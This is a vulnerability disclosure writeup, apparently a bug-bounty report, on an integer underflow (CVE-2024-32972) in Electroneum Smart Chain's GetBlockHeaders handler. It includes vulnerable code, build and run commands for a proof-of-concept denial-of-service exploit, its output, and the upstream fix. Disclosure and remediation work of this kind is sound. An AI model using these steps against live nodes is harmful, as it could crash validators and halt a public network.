Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
DoS / unauth

CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service

VRT: Server Security Misconfiguration > Lack of Security Patches > Critical Severity: P1 Target: Electroneum Smart Chain (etn-sc)


Summary

Electroneum Smart Chain (etn-sc) is vulnerable to CVE-2024-32972, a critical integer underflow in the GetBlockHeaders p2p message handler. A single unauthenticated TCP connection to any etn-sc node can trigger an unbounded memory allocation that crashes the node via OOM kill. By targeting all ~30 IBFT validators simultaneously, an attacker halts consensus and shuts down the entire Electroneum network. The upstream fix (go-ethereum PR #29534, v1.13.15) has not been applied.


Vulnerability Details

etn-sc is a fork of go-ethereum v1.10.18. In eth/protocols/eth/handlers.go, the function serviceContiguousBlockHeaderQuery() processes incoming GetBlockHeaders requests:

func serviceContiguousBlockHeaderQuery(chain *core.BlockChain, query *GetBlockHeadersPacket) []rlp.RawValue {
 count := query.Amount // attacker sends Amount = 0
 if count > maxHeadersServe {
 count = maxHeadersServe // 0 < 1024, not triggered
 }
 // ...hash-mode path (line 185):
 descendants := chain.GetHeadersFrom(num+count-1, count-1)
 // count-1 = 0 - 1 = 18446744073709551615 (UINT64_MAX)

The count-1 expression wraps from 0 to UINT64_MAX because count is uint64 and is never checked for zero. This is passed to GetHeadersFrom() in core/headerchain.go:

func (hc *HeaderChain) GetHeadersFrom(number, count uint64) []rlp.RawValue {
 if current := hc.CurrentHeader().Number.Uint64(); current < number {
 if count > number-current {
 count -= number - current // clamps count to current chain height
 number = current
 }
 }
 // ...iterates and allocates RLP-encoded headers for `count` blocks

The clamping logic reduces count from UINT64_MAX to the current chain height. On Electroneum mainnet (~13 million blocks), this results in a single allocation of approximately 13,000,000 headers x ~600 bytes = 7.8 GB, which exceeds available memory on typical validator nodes and triggers an OOM kill.

The function is reached when the incoming GetBlockHeadersPacket has Skip=0 (contiguous path) and Origin.Hash set to a known block hash.

Upstream fix: go-ethereum PR #29534 (v1.13.15) adds a single guard:

if query.Amount == 0 { return nil }

This fix is NOT present in etn-sc.


Steps to Reproduce

Prerequisites

  • Go 1.18+ installed
  • Network access to an etn-sc node’s p2p port (default 30303)

Build the Exploit

mkdir etn-dos && cd etn-dos
go mod init etn-dos
go get github.com/ethereum/[email protected]
# Copy main.go from attached exploit source
go build -o etn-dos-exploit .

Run Against Local Testnet

# Start a 4-node IBFT testnet (genesis.json and node configs attached)
./etn-dos-exploit \
 --target "enode://<node_pubkey>@127.0.0.1:30301" \
 --network local \
 --repeat 3

Expected Output

[1/5] TCP Connect to 127.0.0.1:30301
 [+] Connected
[2/5] RLPx Handshake (ECIES)
 [+] Encrypted transport established
[3/5] p2p Hello (capability exchange)
 [+] Peer: etn-sc/vAurelius-6.0.0-stable-97d47ca7/linux-amd64/go1.24.2
 [+] Caps: etn/66, etn-istanbul/100, etn-snap/1
[4/5] etn/66 Status Handshake
 [+] Peer network=31337 TD=510 genesis=0xf44e17a0...
[5/5] Sending Exploit Payload (GetBlockHeaders Amount=0)
[+] Sent malicious GetBlockHeaders #1 (code=0x13, reqId=1337)
[+] Sent malicious GetBlockHeaders #2 (code=0x13, reqId=1338)
[+] Sent malicious GetBlockHeaders #3 (code=0x13, reqId=1339)

On a short testnet (676 blocks), the node processes the request and responds. On mainnet (~13M blocks), the same payload causes multi-GB allocation, triggering OOM kill.

Memory Spike, Measured on Testnet (676 blocks)

50 concurrent exploit connections (5 packets each) against a single node:

BEFORE: 111,012 KB (108 MB) ← baseline
T+1: 111,016 KB (108 MB)
T+2: 126,448 KB (123 MB) ← allocations begin
T+3: 186,244 KB (181 MB) ← +73 MB spike
T+4: 201,844 KB (197 MB)
T+5: 210,440 KB (205 MB)
T+6: 219,692 KB (214 MB)
T+7: 225,888 KB (220 MB)
T+8: 228,496 KB (223 MB)
T+9: 228,660 KB (223 MB) ← peak
T+10: 228,828 KB (223 MB)

Result: +115 MB from 50 connections against 676 blocks.

Linear projection to mainnet (13M blocks): - Per connection: 115 MB × (13,000,000 / 676) / 50 = ~43 GB per connection - 50 connections: ~2,160 GB total allocation - Typical validator RAM: 8-16 GB - Conclusion: single connection sufficient for OOM on mainnet

Node Debug Log Confirms Payload Accepted

DEBUG Adding p2p peer peercount=1 id=d7c32042 conn=inbound name=etn-sc/v1.10.18-stab...
DEBUG Ethereum peer connected id=d7c32042 conn=inbound
TRACE Registering sync peer peer=d7c32042

Impact

Technical Impact

  • Single node crash: One unauthenticated p2p message causes OOM kill on any mainnet node
  • Allocation size: current_chain_height x ~600 bytes, currently ~7.8 GB on mainnet, growing ~260 KB/day
  • No authentication: Attacker only needs TCP connectivity to port 30303
  • No rate limiting: Multiple exploit messages can be sent per connection

Business Impact

  • Full network shutdown: Electroneum uses IBFT consensus with ~30 validators. Crashing >50% (16 nodes) halts block production
  • Time to network halt: Seconds, one TCP connection per validator, one message each
  • Recovery: Each node must be manually restarted; attacker can re-crash immediately
  • Persistent DoS: Attack is repeatable at zero cost, making the network unusable until patched

Attack Cost

  • Zero financial cost
  • One TCP connection + one p2p message per target node
  • No special hardware, credentials, or on-chain state required

Remediation

Apply the upstream fix from go-ethereum PR #29534. Add this guard at the top of serviceContiguousBlockHeaderQuery():

func serviceContiguousBlockHeaderQuery(chain *core.BlockChain, query *GetBlockHeadersPacket) []rlp.RawValue {
 count := query.Amount
 if count == 0 {
 return nil // FIX: prevent underflow on count-1
 }
 if count > maxHeadersServe {
 count = maxHeadersServe
 }
 // ...rest of function

Additionally, review all go-ethereum security advisories since v1.10.18 (mid-2022) and apply applicable patches. At minimum, CVE-2023-40591 (unbounded goroutine spawn on ping flood) also affects etn-sc.


Attachments

  1. main.go, Go exploit source (completes RLPx + etn/66 handshake, sends malicious payload)
  2. exploit.py, Python fallback exploit
  3. genesis.json, Local testnet configuration
  4. Exploit run output (above)
  5. Node debug log showing payload acceptance

Proof of concept

Working exploit code, run log, and the vulnerable upstream snippets are under poc/:

File What it is
poc/exploit.py Python orchestrator that drives the Go exploit binary against a target enode.
poc/main.go Go exploit implementing the full RLPx + etn/66 handshake and the malicious GetBlockHeaders payload with Amount=0.
poc/go.mod Go module file.
poc/run-log.txt Verbatim console output from a successful run against a local testnet. Shows the 5-step handshake, the underflow expression resolving to UINT64_MAX, and the node’s BlockHeaders reply confirming the request was processed.
poc/vulnerable_handlers.go.snippet The unpatched serviceContiguousBlockHeaderQuery function from etn-sc‘s vendored go-ethereum fork.
poc/vulnerable_headerchain.go.snippet GetHeadersFrom showing the loop bound used in the allocation.

Build:

cd poc
go build -o etn-dos-exploit .
python3 exploit.py --target "enode://...@<host>:<port>" --network local --repeat 3

The run log captures the exact byte-level handshake; the response code 0x14 confirms the node processed the malicious request before crashing.


Source · github.com/zionsworking/security-research-notebook · writeups/electroneum/cve-2024-32972-getblockheaders-underflow.md